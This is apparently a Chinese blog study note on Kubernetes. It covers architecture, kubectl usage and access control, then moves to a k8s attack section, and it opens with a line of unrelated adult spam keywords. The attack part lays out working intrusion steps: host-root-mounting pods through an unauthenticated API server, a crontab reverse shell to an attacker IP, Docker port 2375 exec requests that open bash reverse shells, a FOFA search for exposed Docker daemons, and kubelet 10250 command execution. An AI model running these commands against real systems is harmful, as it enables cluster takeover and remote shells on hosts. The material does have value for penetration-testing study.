小男孩‘自慰网亚洲一区二区,亚洲一级在线播放毛片,亚洲中文字幕av每天更新,黄aⅴ永久免费无码,91成人午夜在线精品,色网站免费在线观看,亚洲欧洲wwwww在线观看

分享

k8s安全學習

 塞北de雪 2023-05-21 發(fā)布于江蘇

一、云

云的定義看似模糊,但本質(zhì)上,它是一個用于描述全球服務器網(wǎng)絡的術語,每個服務器都有一個獨特的功能。云不是一個物理實體,而是一個龐大的全球遠程服務器網(wǎng)絡,它們連接在一起,旨在作為單一的生態(tài)系統(tǒng)運行。這些服務器設計用于存儲和管理數(shù)據(jù)、運行應用程序,或者交付內(nèi)容/服務(如視頻短片、Web 郵件、辦公室生產(chǎn)力軟件或社交媒體)。不是從本地或個人計算機訪問文件和數(shù)據(jù),而是通過任何支持 Internet 的設備在線訪問 - 這些信息在必要時隨時隨地可用。

企業(yè)采用 4 種不同的方法部署云資源。存在一個公有云,它通過 Internet 共享資源并向公眾提供服務;一個私有云,它不進行共享且經(jīng)由通常本地托管的私有內(nèi)部網(wǎng)絡提供服務;一個混合云,它根據(jù)其目的在公有云和私有云之間共享服務;以及一個社區(qū)云,它僅在組織之間(例如與政府機構(gòu))共享資源。

《云是什么- 定義 - Microsoft Azure》

二、何為k8s

k8s即Kubernetes。

其為google開發(fā)來被用于容器管理的開源應用程序,可幫助創(chuàng)建和管理應用程序的容器化。

用一個的例子來描述:”當虛擬化容器Docker有太多要管理的時候,手動管理就會很麻煩,于是我們便可以通過k8s來簡化我們的管理”

0x00 K8S 架構(gòu)簡述

我們在上文已經(jīng)知道,K8S是用于管理虛擬化容器的一個應用系統(tǒng),在這小節(jié)中會著重講述K8S的架構(gòu)、實現(xiàn)原理。

下圖為K8S架構(gòu)的概覽:

kubectl 是 k8s 的客戶端工具,可以使用命令行管理集群

k8s主要由較少的master節(jié)點以及其對應的多個Node節(jié)點組成。master用于對Node節(jié)點進行控制管理,一個k8s集群中至少要有一臺master節(jié)點。

Master節(jié)點中包含很多的組件,主要為如下

etcd

它存儲集群中每個節(jié)點可以使用的配置信息。它是一個高可用性鍵值存儲,可以在多個節(jié)點之間分布。只有Kubernetes API服務器可以訪問它,因為它可能具有一些敏感信息。這是一個分布式鍵值存儲,所有人都可以訪問。 簡而言之:存儲節(jié)點信息

API server

Kubernetes是一個API服務器,它使用API在集群上提供所有操作。API服務器實現(xiàn)了一個接口,這意味著不同的工具和庫可以輕松地與其進行通信。Kubeconfig是與可用于通信的服務器端工具一起的軟件包。它公開Kubernetes API 。簡而言之:讀取與解析請求指令的中樞

Controller Manage

該組件負責調(diào)節(jié)群集狀態(tài)并執(zhí)行任務的大多數(shù)收集器。通常,可以將其視為在非終止循環(huán)中運行的守護程序,該守護程序負責收集信息并將其發(fā)送到API服務器。它致力于獲取群集的共享狀態(tài),然后進行更改以使服務器的當前狀態(tài)達到所需狀態(tài)。關鍵控制器是復制控制器,端點控制器,名稱空間控制器和服務帳戶控制器。控制器管理器運行不同類型的控制器來處理節(jié)點,端點等。 簡而言之:維護k8s資源

Scheduler

這是Kubernetes master的關鍵組件之一。它是主服務器中負責分配工作負載的服務。它負責跟蹤群集節(jié)點上工作負載的利用率,然后將工作負載放在可用資源上并接受該工作負載。換句話說,這是負責將Pod分配給可用節(jié)點的機制。調(diào)度程序負責工作負載利用率,并將Pod分配給新節(jié)點。 簡而言之:負載均衡調(diào)度器

Node節(jié)點也包含了很多組件,主要如下

Docker

Docker引擎,運行著容器的基礎環(huán)境

kubelet

在每個node節(jié)點都存在一份,主要來執(zhí)行關于資源操作的指令,負責pod的維護。

kube-proxy

代理服務,用于負載均衡,在多個pod之間做負載均衡

fluentd :

日志收集服務

pod :

pod是k8s的最小服務單元,pod內(nèi)部才是容器,k8s通過操作pod來操作容器。一個Node節(jié)點可以有多個Pod

Pod可以說是Node節(jié)點中最核心的部分,Pod也是一個容器,它是一個”用來封裝容器的容器”。一個Pod中往往會裝載多個容器,這些容器共用一個虛擬環(huán)境,共享著網(wǎng)絡和存儲等資源。

這些容器的資源共享以及相互交互都是由pod里面的pause容器來完成的,每初始化一個pod時便會生成一個pause容器。

0x01 K8S工作流程

用戶端命令下發(fā)通常流程如下:

  1. kubectl向apiserver發(fā)送部署請求(例如使用 kubectl create -f deployment.yml)
  2. apiserver將 Deployment 持久化到etcd;etcd與apiserver進行一次http通信。
  3. controller manager通過watch api監(jiān)聽 apiserver ,deployment controller看到了一個新創(chuàng)建的deplayment對象更后,將其從隊列中拉出,根據(jù)deployment的描述創(chuàng)建一個ReplicaSet并將 ReplicaSet 對象返回apiserver并持久化回etcd。
  4. 接著scheduler調(diào)度器看到未調(diào)度的pod對象,根據(jù)調(diào)度規(guī)則選擇一個可調(diào)度的節(jié)點,加載到pod描述中nodeName字段,并將pod對象返回apiserver并寫入etcd。
  5. kubelet在看到有pod對象中nodeName字段屬于本節(jié)點,將其從隊列中拉出,通過容器運行時創(chuàng)建pod中描述的容器。

0x02 搭建K8S

見《K8S環(huán)境搭建.md》

0x03 k8S的基礎概念

https:///learning/(非常好的中文教程)

https:///zh/docs/tutorials/kubernetes-basics/(k8s官方教程,有交互式

操作界面,稍微有點不好的是有些地方?jīng)]有中文)

以下內(nèi)容來自https:///learning/k8s-basics/kubernetes-basics.html

部署(Deployment)

Worker節(jié)點(即Node)是VM(虛擬機)或物理計算機,充當k8s集群中的工作計算機

Deployment 譯名為 部署。在k8s中,通過發(fā)布 Deployment,可以創(chuàng)建應用程序 (docker image) 的實例 (docker container),這個實例會被包含在稱為 Pod 的概念中,Pod 是 k8s 中最小可管理單元。

在 k8s 集群中發(fā)布 Deployment 后,Deployment 將指示 k8s 如何創(chuàng)建和更新應用程序的實例,master 節(jié)點將應用程序?qū)嵗{(diào)度到集群中的具體的節(jié)點上。

創(chuàng)建應用程序?qū)嵗?,Kubernetes Deployment Controller 會持續(xù)監(jiān)控這些實例。如果運行實例的 worker 節(jié)點關機或被刪除,則 Kubernetes Deployment Controller 將在群集中資源最優(yōu)的另一個 worker 節(jié)點上重新創(chuàng)建一個新的實例。這提供了一種自我修復機制來解決機器故障或維護問題。

在容器編排之前的時代,各種安裝腳本通常用于啟動應用程序,但是不能夠使應用程序從機器故障中恢復。通過創(chuàng)建應用程序?qū)嵗⒋_保它們在集群節(jié)點中的運行實例個數(shù),Kubernetes Deployment 提供了一種完全不同的方式來管理應用程序。

相關命令:

kubectl 是 k8s 的客戶端工具,可以使用命令行管理集群

kubectl備忘錄:https:///zh-cn/docs/reference/kubectl/cheatsheet/

# 查看 Deployment
kubectl get deployments
# 查看 Pod
kubectl get pods
#根據(jù)yaml文件部署
kubectl apply -f nginx-deployment.yaml

一個yaml文件差不多就長這樣: (nginx-deployment.yaml)

apiVersion: apps/v1  #與k8s集群版本有關,使用 kubectl api-versions 即可查看當前集群支持的版本kind: Deployment  #該配置的類型,我們使用的是 Deployment
metadata:          #譯名為元數(shù)據(jù),即 Deployment 的一些基本屬性和信息
  name: nginx-deployment  #Deployment 的名稱
    labels:      #標簽,可以靈活定位一個或多個資源,其中key和value均可自定義,可以定義多組,目前不需要理解
      app: nginx  #為該Deployment設置key為app,value為nginx的標簽
spec:          #這是關于該Deployment的描述,可以理解為你期待該Deployment在k8s中如何使用       replicas: 1  #使用該Deployment創(chuàng)建一個應用程序?qū)嵗?  selector:      #標簽選擇器,與上面的標簽共同作用,目前不需要理解
    matchLabels: #選擇包含標簽app:nginx的資源
      app: nginx  
  template:      #這是選擇或創(chuàng)建的Pod的模板
    metadata:  #Pod的元數(shù)據(jù)
      labels:  #Pod的標簽,上面的selector即選擇包含標簽app:nginx的Pod
        app: nginx    
    spec:      #期望Pod實現(xiàn)的功能(即在pod中部署)      
      containers:  #生成container,與docker中的container是同一種
        - name: nginx  #container的名稱
          image: nginx:1.7.9  #使用鏡像nginx:1.7.9創(chuàng)建container,該container默認80端口可訪問

POD與Node

Pod 容器組 是一個k8s中一個抽象的概念,用于存放一組 container(可包含一個或多個 container 容器,即圖上正方體),以及這些 container (容器)的一些共享資源。這些資源包括:


  • 共享存儲,稱為卷(Volumes),即圖上紫色圓柱
  • 網(wǎng)絡,每個 Pod(容器組)在集群中有個唯一的 IP,pod(容器組)中的 container(容器)共享該IP地址
  • container(容器)的基本信息,例如容器的鏡像版本,對外暴露的端口等

POD是集群上最基礎的單元

下圖中的一個 Node(節(jié)點)上含有4個 Pod(容器組)

Pod(容器組)總是在 Node(節(jié)點) 上運行。Node(節(jié)點)是 kubernetes 集群中的計算機,可以是虛擬機或物理機。每個 Node(節(jié)點)都由 master 管理。一個 Node(節(jié)點)可以有多個Pod(容器組),kubernetes master 會根據(jù)每個 Node(節(jié)點)上可用資源的情況,自動調(diào)度 Pod(容器組)到最佳的 Node(節(jié)點)上。

一個Node節(jié)點的狀態(tài)大致有以下的東西


  • Addresses :地址

  • Conditions :狀況(conditions 字段描述了所有 Running 節(jié)點的狀態(tài))

  • Capacity and Allocatable :容量與可分配,描述節(jié)點上的可用資源:CPU、內(nèi)存和可以調(diào)度到節(jié)點上的 Pod 的個數(shù)上限。

  • Info :關于節(jié)點的一般性信息,例如內(nèi)核版本、Kubernetes 版本(kubelet 和 kube-proxy 版本)、 Docker 版本(如果使用了)和操作系統(tǒng)名稱。這些信息由 kubelet 從節(jié)點上搜集而來。

  • HostName:由節(jié)點的內(nèi)核設置??梢酝ㄟ^ kubelet 的 —hostname-override 參數(shù)覆蓋。

  • ExternalIP:通常是節(jié)點的可外部路由(從集群外可訪問)的 IP 地址。
  • InternalIP:通常是節(jié)點的僅可在集群內(nèi)部路由的 IP 地址。

  • Ready 如節(jié)點是健康的并已經(jīng)準備好接收 Pod 則為 True;False 表示節(jié)點不健康而且不能接收 Pod;Unknown 表示節(jié)點控制器在最近 node-monitor-grace-period 期間(默認 40 秒)沒有收到節(jié)點的消息

  • DiskPressure為True則表示節(jié)點的空閑空間不足以用于添加新 Pod, 否則為 False
  • MemoryPressure為True則表示節(jié)點存在內(nèi)存壓力,即節(jié)點內(nèi)存可用量低,否則為 False

  • PIDPressure為True則表示節(jié)點存在進程壓力,即節(jié)點上進程過多;否則為 False
  • NetworkUnavailable為True則表示節(jié)點網(wǎng)絡配置不正確;否則為 False
    相關命令:
#獲取類型為Pod的資源列表
kubectl get pods
#獲取類型為Node的資源列表
kubectl get nodes
# kubectl describe 資源類型 資源名稱
#查看名稱為nginx-XXXXXX的Pod的信息
kubectl describe pod nginx-XXXXXX 
#查看名稱為nginx的Deployment的信息
kubectl describe deployment nginx
#查看名稱為nginx-pod-XXXXXXX的Pod內(nèi)的容器打印的日志
kubectl logs -f podname
#在Pod中運行命令
kubectl exec -it nginx-pod-xxxxxx /bin/bash

服務(Service)

https:///learning/k8s-basics/expose.html#kubernetes-service-服務-概述

通過以上內(nèi)容我們知道,應用程序所在的Pod是一直變動著的,而每個Pod的ip又不一樣,但是對于前端用戶來說,應用程序的訪問地址應該是唯一的才行。

因此k8s提供了一個機制用來為前端屏蔽后端Pod變動帶來的IP變動,這便是Service

Service為一系列有相同特征的Pod(一個應用的Pod在不停變換,但是不論怎么變換這些Pod都有相同的特征)定義了一個統(tǒng)一的訪問方式,

Service是通過標簽選擇器(LabelSelector)來識別有哪些Pod有相同特征(帶有特定Lable標簽的POD,Lable可以由用戶設置,標簽存在于所有K8S對象上并不僅僅局限于Pod) 可以編成一個容器組的。

Service有三種選項暴露應用程序的入口,可以通過設置應用程序配置文件中的Service 項的spec.type 值來調(diào)整:

  • ClusterIP(默認)
    在群集中的內(nèi)部IP上公布服務,這種方式的 Service(服務)只在集群內(nèi)部可以訪問到
  • NodePort

使用 NAT 在集群中每個的同一端口上公布服務。這種方式下,可以通過訪問集群中任意節(jié)點+端口號的方式訪 問服務 <NodeIP>:<NodePort>。此時 ClusterIP 的訪問方式仍然可用。

  • LoadBalancer

在云環(huán)境中(需要云供應商可以支持)創(chuàng)建一個集群外部的負載均衡器,并為使用該負載均衡器的 IP 地址作為 服務的訪問地址。此時 ClusterIP 和 NodePort 的訪問方式仍然可用。

下圖中有兩個服務Service A(黃色虛線)和Service B(藍色虛線) Service A 將請求轉(zhuǎn)發(fā)到 IP 為 10.10.10.1 的Pod上, Service B 將請求轉(zhuǎn)發(fā)到 IP 為 10.10.10.2、10.10.10.3、10.10.10.4 的Pod上。

Service 將外部請求路由到一組 Pod 中,它提供了一個抽象層,使得 Kubernetes 可以在不影響服務調(diào)用者的情況下,動態(tài)調(diào)度容器組(在容器組失效后重新創(chuàng)建容器組,增加或者減少同一個 Deployment 對應容器組的數(shù)量等)。

在每個節(jié)點上都有Kube-proxy服務,Service使用其將鏈接路由到Pod

伸縮(Scaling)應用程序

可以通過更改deployment配置文件中的replicas項來設置開啟的POD數(shù)量

在前面,我們創(chuàng)建了一個 Deployment,然后通過 服務提供訪問 Pod 的方式。我們發(fā)布的 Deployment 只創(chuàng)建了一個 Pod 來運行我們的應用程序。當流量增多導致應用程序POD負載加重后,我們需要對應用程序進行伸縮操作,增加POD數(shù)量來減輕負擔,訪問流量將會通過負載均衡在多個POD之間轉(zhuǎn)發(fā)。

伸縮 的實現(xiàn)可以通過更改 nginx-deployment.yaml 文件中部署的 replicas(副本數(shù))來完成

spec:
  replicas: 2    #使用該Deployment創(chuàng)建兩個應用程序?qū)嵗?/pre>

執(zhí)行滾動更新(Rolling Update)

當我們想對已經(jīng)部署的程序進行升級更新,但又不想讓程序停止,就可以使用滾動更新來實現(xiàn)。

滾動更新通過使用新版本的POD逐步替代舊版本POD來實現(xiàn)零停機更新

滾動更新是K8S默認的更新方式

0x04 k8s用戶

Kubernetes 集群中包含兩類用戶:一類是由 Kubernetes管理的service account,另一類是普通用戶。

  • service account 是由 Kubernetes API管理的賬戶。它們都綁定到了特定的 namespace,并由 API server 自動創(chuàng)建,或者通過 API 調(diào)用手動創(chuàng)建。Service account 關聯(lián)了一套憑證,存儲在 Secret,這些憑證同時被掛載到 pod 中,從而允許 pod 與 kubernetes API 之間的調(diào)用。(service account的利用見k8s安全部分)
  • Use Account(用戶賬號):一般是指由獨立于Kubernetes之外的其他服務管理的用戶賬號,例如由管理員分發(fā)的密鑰、Keystone一類的用戶存儲(賬號庫)、甚至是包 含有用戶名和密碼列表的文件等。Kubernetes中不存在表示此類用戶賬號的對象, 因此不能被直接添加進 Kubernetes 系統(tǒng)中 。

0x05 k8s訪問控制過程(安全機制)

詳細內(nèi)容參考筆記《k8s訪問控制過程(安全機制).md》

k8s 中所有的 api 請求都要通過一個 gateway 也就是 apiserver 組件來實現(xiàn),是集群唯一的訪問入口。主要實現(xiàn)的功能就是api 的認證 + 鑒權(quán)以及準入控制。

三種機制:

  • 認證:Authentication,即身份認證。檢查用戶是否為合法用戶,如客戶端證書、密碼、bootstrap tookens和JWT tokens等方式。
  • 鑒權(quán):Authorization,即權(quán)限判斷。判斷該用戶是否具有該操作的權(quán)限,k8s 中支持 Node、RBAC(Role-Based Access Control)、ABAC、webhook等機制,RBAC 為主流方式
  • 準入控制:Admission Control。請求的最后一個步驟,一般用于拓展功能,如檢查 pod 的resource是否配置,yaml配置的安全是否合規(guī)等。一般使用admission webhooks來實現(xiàn)

注意:認證授權(quán)過程只存在HTTPS形式的API中。也就是說,如果客戶端使用HTTP連接到kube-apiserver,是不會進行認證授權(quán)

k8s認證

X509 client certs

客戶端證書認證,X509 是一種數(shù)字證書的格式標準,是 kubernetes 中默認開啟使用最多的一種,也是最安全的一種。api-server 啟動時會指定 ca 證書以及 ca 私鑰,只要是通過同一個 ca 簽發(fā)的客戶端 x509 證書,則認為是可信的客戶端,kubeadm 安裝集群時就是基于證書的認證方式。

user 生成 kubeconfig就是X509 client certs方式。

Service Account Tokens

因為基于x509的認證方式相對比較復雜,不適用于k8s集群內(nèi)部pod的管理。Service Account Tokens是 service account 使用的認證方式。定義一個 pod 應該擁有什么權(quán)限。一個 pod 與一個服務賬戶相關聯(lián),該服務賬戶的憑證(token)被放入該pod中每個容器的文件系統(tǒng)樹中,位于/var/run/secrets//serviceaccount/token

service account 主要包含了三個內(nèi)容:namespace、token 和 ca

  • namespace: 指定了 pod 所在的 namespace
  • token: token 用作身份驗證
  • ca: ca 用于驗證 apiserver 的證書

k8s鑒權(quán)

K8S 目前支持了如下四種授權(quán)機制:

  • Node
  • ABAC
  • RBAC
  • Webhook

具體到授權(quán)模式其實有六種:

  • 基于屬性的訪問控制(ABAC)模式允許你 使用本地文件配置策略。
  • 基于角色的訪問控制(RBAC)模式允許你使用 Kubernetes API 創(chuàng)建和存儲策略。
  • WebHook 是一種 HTTP 回調(diào)模式,允許你使用遠程 REST 端點管理鑒權(quán)。
  • node節(jié)點鑒權(quán)是一種特殊用途的鑒權(quán)模式,專門對 kubelet 發(fā)出的 API 請求執(zhí)行鑒權(quán)。
  • AlwaysDeny阻止所有請求。僅將此標志用于測試。
  • AlwaysAllow允許所有請求。僅在你不需要 API 請求 的鑒權(quán)時才使用此標志。

可以選擇多個鑒權(quán)模塊。模塊按順序檢查,以便較靠前的模塊具有更高的優(yōu)先級來允許 或拒絕請求。

從1.6版本起,Kubernetes 默認啟用RBAC訪問控制策略。從1.8開始,RBAC已作為穩(wěn)定的功能。

三、K8S攻擊矩陣

CDK是一款為容器環(huán)境定制的滲透測試工具,在已攻陷的容器內(nèi)部提供零依賴的常用命令及PoC/EXP。集成Docker/K8s場景特有的 逃逸、橫向移動、持久化利用方式,插件化管理。

https://github.com/cdk-team/CDK

下圖是K8S的一些攻擊矩陣

本文就圍繞著這個框架,敘述一些有用的攻擊手法吧

0x00 k8s環(huán)境中的信息收集

信息收集與我們的攻擊場景或者說進入的內(nèi)網(wǎng)的起點分不開。一般來說內(nèi)網(wǎng)不會完全基于容器技術進行構(gòu)建。所以起點一般可以分為權(quán)限受限的容器和物理主機內(nèi)網(wǎng)。

在K8s內(nèi)部集群網(wǎng)絡主要依靠網(wǎng)絡插件,目前使用比較多的主要是Flannel和Calico

主要存在4種類型的通信:

  • 同一Pod內(nèi)的容器間通信
  • 各Pod彼此間通信
  • Pod與Service間的通信
  • 集群外部的流量與Service間的通信

當我們起點是一個在k8s集群內(nèi)部權(quán)限受限的容器時,和常規(guī)內(nèi)網(wǎng)滲透區(qū)別不大,上傳端口掃描工具探測即可。

k8s常用端口

在k8s環(huán)境中,內(nèi)網(wǎng)探測可以高度關注的端口: (各端口的滲透在下面會展開)

kube-apiserver: 6443, 8080
kubectl proxy: 8080, 8081
kubelet: 10250, 10255, 4149
dashboard: 30000
docker api: 2375
etcd: 2379, 2380
kube-controller-manager: 10252
kube-proxy: 10256, 31442
kube-scheduler: 10251
weave: 6781, 6782, 6783
kubeflow-dashboard: 8080

0x01 初始訪問

1、云賬號AK泄露

在如今的云的大環(huán)境下,許多業(yè)務代碼想要與云服務進行通信,就需要通過accesskey這個東西進行鑒權(quán),鑒權(quán)通過后才能與云服務進行通信。

通俗來講,人想要訪問一個服務,往往需要提供密碼來進行身份驗證;而代碼想要訪問一個云服務API,則需要提供accesskey來進行身份驗證。

如果accesskey泄露了,我們便可以利用這個accesskey來與云服務通信,反彈個云主機的shell回來作為入口點慢慢往內(nèi)打。

下面文章是關于云原生安全中accesskey安全更加詳細的論述,閱讀后可以對accesskey的概念有更深入的了解。

https://www./articles/web/287512.html

https://www./articles/web/255717.html

2、惡意鏡像

在docker中,容器的建立依賴于鏡像,如果pull得到的鏡像是一個惡意鏡像,或者pull得到的鏡像本身就存在安全漏洞,便會帶來安全風險

下圖便是dockerhub上部署挖礦軟件的惡意鏡像,它會從github上下載惡意挖礦軟件進行挖礦

3、API Server未授權(quán)(8080,6443)

屬于是K8S中的經(jīng)典漏洞了

回顧一下API Server的作用,它在集群中被用于提供API來控制集群內(nèi)部,如果我們能控制API Server,就意味著我們可以通過它利用kubectl創(chuàng)建Pod并使用磁盤掛載技術獲取Node節(jié)點控制權(quán)(關于磁盤掛載獲取節(jié)點shell的技術在后面的小節(jié)中再進行詳細論述)。

API Server可以在兩個端口上提供了對外服務:8080(insecure-port,非安全端口)和6443(secure-port,安全端口),其中8080端口提供HTTP服務且無需身份認證,6443端口提供HTTPS服務且支持身份認證(8080和6443端口并不是固定的,是通過配置文件來控制的)。

insecure-port 開啟

API Server在8080端口上開放的服務應該是用于測試,但如果其在生存環(huán)境中被暴露出來,攻擊者便可以利用此端口進行對集群的攻擊。

但是利用API Server的8080端口進行未授權(quán)活動的前提條件略顯苛刻(配置失當+版本較低),8080端口服務是默認不啟動的,但如果用戶在 /etc/kubernets/manifests/kube-apiserver.yaml 中有 --insecure-port=8080配置項,那就啟動了非安全端口,有了安全風險。

注:1.20版本后該選項已無效化

環(huán)境前提:

step1:進入cd /etc/kubernetes/manifests/
step2: 修改api-kube.conf
  添加- -–insecure-port=8080
  添加- -–insecure-bind-address=0.0.0.0
Kubelet 會監(jiān)聽該文件的變化,當您修改了 /etc/kubernetes/manifests/kube-apiserver.yaml 文件之后,kubelet 將自動終止原有的 kube-apiserver-{nodename} 的 Pod,并自動創(chuàng)建一個使用了新配置參數(shù)的 Pod 作為替代

重啟服務

systemctl daemon-reload
systemctl restart kubelet

在實際環(huán)境中,因為8080端口相對比較常見,導致在內(nèi)部排查常常忽略這個風險點。

利用

環(huán)境信息:

一個集群包含三個節(jié)點,其中包括一個控制節(jié)點和兩個工作節(jié)點

  • K8s-master 192.168.11.152
  • K8s-node1 192.168.11.153
  • K8s-node2 192.168.11.160

攻擊機kali

  • 192.168.11.128

直接訪問 8080 端口會返回可用的 API 列表:

使用kubectl可以指定IP和端口調(diào)用存在未授權(quán)漏洞的API Server。

如果沒有kubectl,需要安裝kubectl,安裝可以參考官網(wǎng)文檔:

使用kubectl獲取集群信息:

kubectl -s ip:port get nodes

注:如果你的kubectl版本比服務器的高,會出現(xiàn)錯誤,需要把kubectl的版本降低.

接著在本機上新建個yaml文件用于創(chuàng)建容器,并將節(jié)點的根目錄掛載到容器的 /mnt 目錄,內(nèi)容如下:

apiVersion: v1
kind: Pod
metadata:
  name: test
spec:
  containers:
  - image: nginx
    name: test-container
    volumeMounts:
    - mountPath: /mnt
      name: test-volume
  volumes:
  - name: test-volume
    hostPath:
      path: /

然后使用 kubectl 創(chuàng)建容器,這個時候我們發(fā)現(xiàn)是無法指定在哪個節(jié)點上創(chuàng)建pod。

kubectl -s 192.168.11.152:8080 create -f test.yaml
kubectl -s 192.168.11.152:8080 --namespace=default exec -it test bash

寫入反彈 shell 的定時任務

echo -e "* * * * * root bash -i >& /dev/tcp/192.168.11.128/4444 0>&1\n" >> /mnt/etc/crontab

稍等一會獲得node02節(jié)點權(quán)限:

或者也可以通過寫公私鑰的方式控制宿主機。

如果apiserver配置了dashboard的話,可以直接通過ui界面創(chuàng)建pod。

secure-port 配置錯誤

若我們不帶任何憑證的訪問 API server的 secure-port端口,默認會被服務器標記為system:anonymous用戶。

一般來說system:anonymous用戶權(quán)限是很低的,但是如果運維人員管理失當,把system:anonymous用戶綁定到了cluster-admin用戶組,那么就意味著secure-port允許匿名用戶以管理員權(quán)限向集群下達命令。(也就是secure-port變成某種意義上的insecure-port了)

利用

方法一

kubectl -s https://192.168.111.20:6443/ --insecure-skip-tls-verify=true get nodes
#(192.168.111.20:6443 是master節(jié)點上apiserver的secure-port)然后提示輸入賬戶密碼,隨便亂輸就行

正常情況應該是這樣

但如果secure-port 配置失當出現(xiàn)了未授權(quán),就會這樣

方法二

利用cdk工具通過"system:anonymous"匿名賬號嘗試登錄

./cdk kcurl anonymous get "https://192.168.11.152:6443/api/v1/nodes"

創(chuàng)建特權(quán)容器:

之后的攻擊方式和上面是一樣的

4、k8s configfile 泄露

k8s configfile配置文件中可能會有api-server登陸憑證等敏感信息,如果獲取到了集群configfile內(nèi)容(如泄露在github),將會對集群內(nèi)部安全造成巨大影響。

這里引用阿里云社區(qū)的一張圖

5、容器內(nèi)部應用漏洞入侵

顧名思義,容器內(nèi)部應用就有問題(比如內(nèi)部應用是tomcat,且有RCE漏洞),從而就會導致黑客獲取Pod shell,拿到入口點

6、docker.sock 利用

Docker以server-client的形式工作,服務端叫Docker daemon,客戶端叫docker client。

Docker daemon想調(diào)用docker指令,就需要通過docker.sock這個文件向docker client進行通訊。換句話說,Docker daemon通過docker.sock這個文件去管理docker容器(如創(chuàng)建容器,容器內(nèi)執(zhí)行命令,查詢?nèi)萜鳡顟B(tài)等)。

同時,Docker daemon也可以通過配置將docker.sock暴露在端口上,一般情況下2375端口用于未認證的HTTP通信,2376用于可信的HTTPS通信。

公網(wǎng)暴露(2375)(Docker Daemon)

如果docker daemon 2375端口暴露在了公網(wǎng)上,那么便可以直接利用該端口控制docker容器,并通過新建容器配合磁盤掛載技術獲取宿主機權(quán)限。

fofa搜索

server="Docker" && port="2375"

可以發(fā)現(xiàn)有很多暴露在公網(wǎng)的docker.sock,

我們選一個來試試水

可以發(fā)現(xiàn)是成功的調(diào)用了API查詢了容器狀態(tài)

然后我們可以通過如下指令,在指定容器內(nèi)部執(zhí)行命令

curl -X POST "http://ip:2375/containers/{container_id}/exec" -H "Content-Type: application/json" --data-binary '{"Cmd": ["bash", "-c", "bash -i >& /dev/tcp/xxxx/1234 0>&1"]}'

獲取到一個id

然后請求這個id,執(zhí)行此命令

curl -X POST "http://ip:2375/exec/{id}/start" -H "Content-Type: application/json" --data-binary "{}"

就像這樣:(圖片引用自freebuf)

直接利用現(xiàn)成的docker.sock

如果我們?nèi)肭至艘粋€docker容器,這個docker容器里面有docker.sock(常用路徑/var/run/docker.sock),那么就可以直接利用此文件控制docker daemon。

把上一小節(jié)的命令改改就行,加一個—unix-socket參數(shù)。

curl -s --unix-socket /var/run/docker.sock -X POST "http://docker_daemon_ip/containers/{container_id}/exec" -H "Content-Type: application/json" --data-binary '{"Cmd": ["bash", "-c", "bash -i >& /dev/tcp/xxxx/1234 0>&1"]}'
curl -s --unix-socket /var/run/docker.sock -X POST "http://docker_daemon_ip/exec/{id}/start" -H "Content-Type: application/json" --data-binary "{}"

一般來說docker.sock是存在于docker daemon服務端的,但如果開發(fā)人員想在docker容器里運行docker命令,就需要把宿主機的docker.sock掛載到容器內(nèi)部了,這就給了我們docker逃逸的可乘之機。

實戰(zhàn)案例

Docker Daemon未授權(quán)訪問的檢測與利用:

#探測是否訪問未授權(quán)訪問
curl http://192.168.238.129:2375/info
docker -H tcp://192.168.238.129:2375 info
#推薦使用這種方式,操作方便。
export DOCKER_HOST="tcp://192.168.238.129:2375"

Docker Daemon未授權(quán)實戰(zhàn)案例:

7、kubelet 未授權(quán)(10250/10255)

危害:

  • 可以直接控制該node下的所有pod
  • 檢索尋找特權(quán)容器,獲取 Token
  • 如果能夠從pod獲取高權(quán)限的token,則可以直接接管集群。

kubelet和kubectl的區(qū)別?

kubelet是在Node上用于管理本機Pod的,kubectl是用于管理集群的。kubectl向集群下達指令,Node上的kubelet收到指令后以此來管理本機Pod。

Kubelet API 一般監(jiān)聽在2個端口:10250、10255。其中,10250端口是可讀寫的,10255是一個只讀端口。

kubelet對應的API端口默認在10250,運行在集群中每臺Node上,kubelet 的配置文件在node上的/var/lib/kubelet/config.yaml

我們重點關注配置文件中的這兩個選項:第一個選項用于設置kubelet api能否被匿名訪問,第二個選項用于設置kubelet api訪問是否需要經(jīng)過Api server進行授權(quán)(這樣即使匿名?戶能夠訪問也不具備任何權(quán)限)。

在默認情況下,kubelet配置文件就如上圖所示,我們直接訪問kubelet對應API端口會顯示認證不通過

我們將配置文件中,authentication-anonymous-enabled改為true,authorization-mode改為AlwaysAllow,再使用命令systemctl restart kubelet 重啟kubelet,那么就可以實現(xiàn)kubelet未授權(quán)訪問

關于authorization-mode還有以下的配置:

--authorization-mode=ABAC 基于屬性的訪問控制(ABAC)模式允許你 使用本地文件配置策略。
--authorization-mode=RBAC 基于角色的訪問控制(RBAC)模式允許你使用 Kubernetes API 創(chuàng)建和存儲策略。
--authorization-mode=Webhook WebHook 是一種 HTTP 回調(diào)模式,允許你使用遠程 REST 端點管理鑒權(quán)。
--authorization-mode=Node 節(jié)點鑒權(quán)是一種特殊用途的鑒權(quán)模式,專門對 kubelet 發(fā)出的 API 請求執(zhí)行鑒權(quán)。
--authorization-mode=AlwaysDeny 該標志阻止所有請求。僅將此標志用于測試。
--authorization-mode=AlwaysAllow 此標志允許所有請求。僅在你不需要 API 請求 的鑒權(quán)時才使用此標志。

在我們發(fā)現(xiàn)kubelet未授權(quán)后,可以進行以下操作拿到入口點

執(zhí)行Pod內(nèi)命令

如果有kubelet未授權(quán),那就可以用以下命令在Pod內(nèi)執(zhí)行命令

curl -XPOST -k https://node_ip:10250/run/<namespace>/<PodName>/<containerName> -d "cmd=command"

其中的參數(shù)可以從https://node_ip:10250/pods 中獲取

  • metadata.namespace 下的值為 namespace
  • metadata.name下的值為 pod_name
  • spec.containers下的 name 值為 container_name

可以直接回顯命令結(jié)果,很方便

獲取容器內(nèi)service account憑據(jù)

如果能在Pod內(nèi)執(zhí)行命令,那么就可以獲取Pod里service account的憑據(jù),使用Pod上的service account憑據(jù)可以用來模擬Pod上的服務賬戶進行操作,具體利用方法見下面的小節(jié):[利用Service Account連接API Server執(zhí)行指令](#利用Service Account連接API Server執(zhí)行指令)

利用示例

環(huán)境信息:

一個集群包含三個節(jié)點,其中包括一個控制節(jié)點和兩個工作節(jié)點

  • K8s-master 192.168.11.152
  • K8s-node1 192.168.11.153
  • K8s-node2 192.168.11.160

攻擊機kali

  • 192.168.11.128

訪問https://192.168.11.160:10250/pods,出現(xiàn)如下數(shù)據(jù)表示可以利用:

想要在容器里執(zhí)行命令的話,我們需要首先確定namespace、pod_name、container_name這幾個參數(shù)來確認容器的位置。

  • metadata.namespace 下的值為 namespace
  • metadata.name下的值為 pod_name
  • spec.containers下的 name 值為 container_name

